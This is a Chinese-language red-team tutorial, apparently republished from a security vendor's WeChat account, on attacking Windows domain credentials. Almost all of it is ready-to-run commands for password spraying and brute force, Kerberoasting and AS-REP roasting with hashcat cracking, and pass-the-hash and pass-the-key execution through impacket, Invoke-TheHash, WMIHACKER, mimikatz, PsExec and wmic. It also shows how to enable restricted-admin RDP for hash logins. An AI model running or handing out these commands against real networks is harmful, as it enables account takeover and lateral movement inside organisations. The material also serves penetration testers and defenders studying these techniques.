连载:红队知识体系梳理-凭据利用
2023-5-18 00:36:36 Author: 白帽子(查看原文) 阅读量:29 收藏

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

前言

通过暴力破解方式获取用户凭证,利用已有凭证进行横向扩展。

爆破凭据

密码喷洒

通过Kerberos枚举用户,获得有效域账户凭据

1.kerbrute

# 通过Kerberos枚举用户名kerbrute userenum -d qaq.com  --dc 192.168.10.250 usernames.txt# 指定密码喷洒kerbrute  passwordspray -d qaq.com  --dc 192.168.10.250  domain_users.txt Password123# 指定账户密码暴破(会被锁账户)kerbrute_linux_amd64 bruteuser -d qaq.com  --dc 192.168.10.250  passwords.lst  test

2.DomainPasswordSpray(不可域外爆破)

# 获得所有用户的列表,排除被禁用和被锁定的用户powershell  -exec bypass -command "&{import-module .\DomainPasswordSpray.ps1; Get-DomainUserList -RemoveDisabled -RemovePotentialLockouts| Out-File -Encoding ascii userlist.txt }"
# 指定UserList进行密码喷洒暴破Invoke-DomainPasswordSpray -UserList .\\users.txt -Password Aa123456 -Verbose
# 利用LDAP自动从域中导出用户列表(去除禁用和锁定用户),再进行密码喷洒powershell -exec bypass -command "&{import-module .\DomainPasswordSpray.ps1;Invoke-DomainPasswordSpray -Password Aa123456}"

3.smartbrute

支持使用NTLM-hash爆破

# smart模式。通过LDAP获取启用的用户,获取用户锁定策略后进行爆破。爆破不会锁定账户python3 smartbrute.py smart -bP passwords.txt kerberos -d  qaq.com  -u admin -p 'Aa123456' kerberospython3 smartbrute.py smart -bH NT_hash_passwords.txt kerberos -d  qaq.com  -u admin -p 'Aa123456' kerberos
# Brute模式。会锁定用户python3 smartbrute.py brute -bu 'jack' -bP passwords.txt kerberos -d qaq.com

Kerberoasting

爆破kerberos第二步TGS认证票据,获取高权限服务的密码

在域里,请求高权限服务的票据后进行离线爆破,服务账号是机器账号无法爆破成功

Rubeus.exe kerberoast # 生成所有高权限服务的SThashcat64.exe -m 13100 hash.txt pass.txt -o result.txt --force  # 13100表示RC4-HMAC-MD5加密

也可使用kerberoast项目tgsrepcrack.py脚本爆破RC4-HMAC-MD5类型的ST票据

AS-REPRoasting

爆破kerberos第一步as认证的sessionkey-TGS。sessionkey-TGS是由用户hash加密

请求生成不需要kerberos预身份认证的账户ST,然后离线爆破sessionkey-TGS,获取有效域账户密码

Rubeus.exe asreproast > hash.txt  # 生成不需要域认证账户的ST。通过LDAP查询不需要kerberos预身份认证的账户Rubeus.exe asreproast /domain:qaq.org /user:admin /dc:172.16.0.106 /format:hashcat /outfile:C:\Temp\hash.txt  # 非域内生成admin账户的ST
hashcat64.exe -m 18200 hash.txt pass.txt --force   # 爆破sessionkey-TGS

PTH

dump lsass进程获取到NTLM-hash、aes256-hmac-hash或明文后,或使用当前用户票据凭证,进行hash传递攻击访问其他机器

PTH

1.利用impacket套件

# -hashes Lmhash:ntlmhash
python psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:47bf8039a8506cd67c524a03ff84ba4e administrator@192.168.4.27 "ipconfig"python smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:47bf8039a8506cd67c524a03ff84ba4e [email protected]192.168.4.27
# 通过wmic方式执行命令python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:47bf8039a8506cd67c524a03ff84ba4e [email protected]192.168.4.27 "ipconfig"

2.Invoke-TheHash

# WMI方式135端口无回显批量执行命令powershell -exec bypass  "&{import-module .\Invoke-TheHash.ps1; import-module .\Invoke-WMIExec.ps1;Invoke-TheHash -Type WMIExec -Target 192.168.10.1/24 -Domain qaq.com  -Username administrator -Hash 47bf8039a8506cd67c524a03ff84ba4e  -Command "whoami" -verbose}"
powershell -exec bypass "&{import-module .\Invoke-WMIExec.ps1; Invoke-WMIExec -Target 192.168.10.250 -Domain qaq.com -Username administrator -Hash 47bf8039a8506cd67c524a03ff84ba4e -Command "hostname" -verbose}"
# SMB方式445端口批量无回显批量执行命令powershell -exec bypass "&{import-module .\Invoke-TheHash.ps1; import-module .\Invoke-SMBExec.ps1; Invoke-TheHash -Type smbexec -Target 192.168.10.1/24 -Domain qaq.com -Username administrator -Hash 47bf8039a8506cd67c524a03ff84ba4e -Command "whoami" -verbose}"
powershell -exec bypass "&{import-module .\Invoke-SMBExec.ps1; invoke-smbexec -Target 192.168.10.250 -Domain qaq.com -Username administrator -Hash 47bf8039a8506cd67c524a03ff84ba4e -Command "whoami" -verbose}"

3.wmiexec-RegOut

# WMI方式135端口执行命令,注册表获取结果python3 wmiexec-regOut.py   qaq/administrator:[email protected]192.168.10.250  'whoami'python3 wmiexec-regOut.py  -hashes aad3b435b51404eeaad3b435b51404ee:47bf8039a8506cd67c524a03ff84ba4e qaq/[email protected]192.168.10.250 'whoami'
# WMI方式135端口无回显执行命令,vbs调用python3 wmipersist-Modify.py qaq/administrator:[email protected]192.168.10.250 'whoami'python3 wmipersist-Modify.py -hashes aad3b435b51404eeaad3b435b51404ee:47bf8039a8506cd67c524a03ff84ba4e qaq/[email protected]192.168.10.250 'whoami'
# WMI方式135端口回显执行命令,vbs调用python3 wmipersist-Modify.py qaq/administrator:[email protected]192.168.10.250 'whoami' -with-outputpython3 wmipersist-Modify.py -hashes aad3b435b51404eeaad3b435b51404ee:47bf8039a8506cd67c524a03ff84ba4e qaq/[email protected]192.168.10.250 'whoami' -with-output

4.WMIHACKER

WMIHACKER用的是135端口,wmic方式执行命令

# 有命令回显执行方式
cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo" 1

# 无命令回显
cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo > c:\1.txt" 0

# 模拟shell模式
cscript WMIHACKER_0.6.vbs /shell 172.16.94.187 administrator "Password!"

# 使用hash进行认证,需要先创建访问令牌
cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 - - "systeminfo > c:\1.txt" 0

5.mimikatz

# 另外生成进程创建访问令牌mimikatz "privilege::debug"  "sekurlsa::pth /user:administrator /domain:192.168.4.26 /ntlm:47bf8039a8506cd67c524a03ff84ba4e"

6.微软PSTools套件

PsExec.exe -accepteula \\test5-2012.qaq.org -s cmd.exe # 默认使用当前用户的凭据psexec \\192.168.10.250  -accepteula -u username -p password  -s cmd.exe

7.windows wmic

wmic /node:test.qaq.com  process call create  "cmd.exe /c whoami > c:\\windows\temp\test.txt" # 默认使用当前用户凭据wmic /user:"qaq.com\administrator"  /password:"Aa123456"  /node:test.qaq.com  process call create  "cmd.exe /c whoami > c:\\windows\temp\test.txt"
type \\test.qaq.com\c$\windows\temp\test.txt

hash登录RDP

安装KB2871997补丁后支持使用NTLM或kerberos票据登录RDP,2012 R2后自带受限管理员模式。安装KB2973351补丁会临时关闭功能。

# 开启受限管理员模式REG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f# 查询是否开启,0表示开启REG query HKLM\System\CurrentControlSet\Control\Lsa | findstr DisableRestrictedAdmin

注意管理员组成员有效,客户端和服务端都需支持Restricted Admin mode

mimikatz "privilege::debug" "sekurlsa::pth /user:Administrator /domain:. /ntlm:47bf8039a8506cd67c524a03ff84ba4e"mstsc.exe /restrictedadmin

PTK

使用aes256-hmac hash进行kerberos PTH,目标主机需要安装补丁kb2871997,默认2012 r2+自带

# 获取aes256-hmac hashmimikatz.exe "privilege::debug" "sekurlsa::ekeys" exit > aes256.txt# 注入aes256-hmac生成票据mimikatz.exe "sekurlsa::pth /user:administrator /domain:test.qaq.com /aes256:xxxxxxxx" exit

令牌窃取

当机器被域管登录过,或存在域管进程。此时可以dump lsass进程寻找域管凭证,或注入域管票据,或窃取域管进程令牌

安恒信息

杭州亚运会网络安全服务官方合作伙伴

成都大运会网络信息安全类官方赞助商

武汉军运会、北京一带一路峰会

青岛上合峰会、上海进博会

厦门金砖峰会、G20杭州峰会

支撑单位北京奥运会等近百场国家级

重大活动网络安保支撑单位

END

长按识别二维码关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246700&idx=1&sn=a2ba2b825aaf5e00370e87b0a6478a81&chksm=82ea5585b59ddc938f7e00b560d943e70ec28abc16bdd99b554c90c26b1f7cf4ea14990d48d5#rd
如有侵权请联系:admin#unsafe.sh